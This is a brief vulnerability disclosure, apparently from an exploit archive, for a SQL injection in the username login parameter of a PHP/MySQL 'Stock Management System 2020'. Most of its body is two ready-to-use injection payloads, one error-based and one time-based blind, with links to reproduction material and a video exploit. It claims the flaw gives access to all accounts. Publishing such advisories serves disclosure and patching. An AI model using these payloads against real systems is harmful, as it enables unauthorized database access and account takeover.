Stock Management System 2020 SQL Injection

`## Title: Stock-Management-System-2020 SQLi  
## Author: nu11secur1ty  
## Date: 07.02.2022  
## Vendor: https://github.com/Dav-ee  
## Software: https://github.com/Dav-ee/Stock-Management-System  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection attacks.  
The attacker kan take an access to all acounts on this system.  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
---  
Parameter: username (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT  
COUNT(*),CONCAT(0x71787a6271,(SELECT  
(ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'LcYi'='LcYi&password=g5X!p2l!Q6  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM  
(SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)  
  
## Proof and Exploit:  
[href](https://streamable.com/urkvz7)  
  
  
`